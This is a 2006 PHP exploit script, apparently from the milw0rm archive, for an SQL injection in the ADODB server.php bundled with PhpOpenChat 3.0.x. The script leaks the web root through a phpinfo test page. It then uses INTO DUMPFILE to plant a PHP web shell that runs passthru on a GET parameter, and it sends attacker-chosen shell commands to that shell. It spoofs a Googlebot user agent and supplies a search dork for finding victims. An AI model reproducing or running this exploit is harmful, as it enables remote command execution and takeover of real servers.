ADODB < 4.70 (PhpOpenChat 3.0.x) Server.php SQL Injection Exploit :

Date : 2006-04-09 Author : rgod
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpOpenChat 3.0.x ADODB Server.php "sql" SQL injection
";
echo "by rgod [email protected]
";
echo "site: http://retrogod.altervista.org

";
echo "dork: Welcome to your PHPOpenChat-Installation!

";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS
";
echo "host:      target server (ip/hostname)
";
echo "path:      path to PhpOpenChat
";
echo "cmd:       a shell command
";
echo "Options:
";
echo "   -p[port]:    specify a port other than 80
";
echo "   -P[ip:port]: specify a proxy
";
echo "Examples:
";
echo "php ".$argv[0]." localhost /chat/ 
";
echo "php ".$argv[0]." localhost /chat/ ls -la -p81
";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80
";
die;
}
/*
 this is based on

 http://www.securityfocus.com/bid/16187

 but... look at the server.php source code:

...
$driver = 'mysql';
$host = 'localhost'; // DSN for odbc
$uid = 'root';
$pwd = '';
$database = 'test';
...

you need a "root" user with no password, an existent "test" database
and Mysql to have certain rights to write files...
so, this vulnerability is very hard to exploit
however, here is the code for PhpOpenChat, you can easily change it to work
against the program you want
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="
"; $exa.="
";}
  }
 return $exa."
".$result;
}
$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...
";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "
".$html;
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

#step 1->read DOCUMENT ROOT from phpinfo
$packet ="GET ".$p."include/adodb/tests/tmssql.php?do=phpinfo HTTP/1.0
";
$packet.="User-Agent: Googlebot/2.1
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet);
$temp=explode("DOCUMENT_ROOT </td><td class="v">",$html);
$temp2=explode(" </td></tr>",$temp[1]);
$fullpath=$temp2[0];
$fullpath=trim($fullpath);
echo "DOCUMENT ROOT ->".$fullpath."

";
$fullpath=str_replace("\","\\\\",$fullpath); // win boxes
if ($fullpath=="")
{
echo $html;
die("

Cannot read phpinfo ...
");
}

#step 2->execute a query (you can regardless of magic_quotes_gpc)
$SQL ="SELECT '<?php echo chr(0x2a)."delim*";passthru($_GET["cmd"]);echo chr(0x2a)."delim*";?>',0,0,0,0,0 ";
$SQL.="INTO DUMPFILE '".$fullpath."/suntzu.php' FROM poc.poc_user_account LIMIT 1";
$SQL=urlencode($SQL);
$packet ="GET ".$p."include/adodb/server.php?sql=$SQL HTTP/1.0
";
$packet.="User-Agent: Googlebot/2.1
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet);
if (strstr($html,"Access denied") || !strstr($html,"200 OK") || strstr($html,"Can't connect"))
{
echo $html;
die("

Exploit failed...
");
}
sleep(1);
#step 3->launch commands
$packet ="GET /suntzu.php?cmd=".$cmd." HTTP/1.0
";
$packet.="User-Agent: Googlebot/2.1
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet);
if (!strstr($html,"*delim*"))
{
echo $html;
die("

Exploit failed...
");
}
else
{
echo "Exploit succeeded...
";
$temp=explode("*delim*",$html);
echo $temp[1];
}
?>

# milw0rm.com [2006-04-09]

C1

 

C2

 

C3